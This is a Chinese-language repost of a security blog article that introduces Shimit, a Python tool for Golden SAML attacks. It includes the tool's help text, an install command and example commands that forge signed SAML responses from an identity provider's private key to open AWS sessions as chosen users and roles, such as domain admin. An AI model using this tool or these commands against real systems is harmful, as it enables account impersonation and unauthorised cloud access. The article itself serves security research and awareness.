Shimit是一个实现Golden SAML攻击的python工具。关于这方面的更多信息可以在我们博客的以下文章中找到。
python .shimit.py -h
usage: shimit.py [-h] -pk KEY [-c CERT] [-sp SP] -idp IDP -u USER [-reg REGION]
[–SessionValidity SESSION_VALIDITY] [–SamlValidity SAML_VALIDITY] -n SESSION_NAME
-r ROLES -id ARN [-o OUT_FILE] [-l LOAD_FILE] [-t TIME]
███████╗██╗ ██╗██╗███╗ ███╗██╗████████╗ ██╔════╝██║ ██║██║████╗ ████║██║╚══██╔══╝ ███████╗███████║██║██╔████╔██║██║ ██║ ╚════██║██╔══██║██║██║╚██╔╝██║██║ ██║ ███████║██║ ██║██║██║ ╚═╝ ██║██║ ██║ ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ SHIMT
概观
在金色的SAML攻击中,攻击者可以以任何他们想要的权限访问应用程序(任何支持SAML身份验证的应用程序),并成为目标应用程序上的任何用户。
shimit允许用户创建一个签名的SAMLResponse对象,并使用它在服务提供者中打开一个会话。shimit现在支持作为服务提供商的 AWS控制台,更多正在开发中……
AWS
在生成并签署SAMLResponse的断言之后,shimit将调用AWS中的AssumeRoleWithSAML() API。然后,会话标记和密钥将应用于新会话,用户可以使用aws cli使用使用黄金SAML获取的权限执行操作。
要求:
要安装所需的模块,请运行以下命令:
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
AWS cli
需要安装才能使用获得的凭据。可以 从这些链接下载用于Windows或 Linux。
用法:
为AWS cli申请会话
python .shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domainadmin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
idp – 身份提供商URL,例如http://server.domain.com/adfs/services/trust
pk – 私钥文件完整路径(pem格式)
c – 证书文件完整路径(pem格式)
u – 用户和域名,例如domain username(在* nix中使用或引号)
n – AWS中的会话名称
r – AWS中期望的角色。支持多个角色,将假定第一个角色。
id – AWS账户ID,例如123456789012
将SAMLResponse保存到文件
python .shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domainadmin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
o – 将编码的SAMLResponse输出到指定的文件路径
从文件加载SAMLResponse
python .shimit.py -l saml_response.xml
l – 从指定的文件路径加载SAMLResponse
本文作者:FreeaRoot
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/69805.html
本文来源于互联网:Golden SAML攻击利器Shimit介绍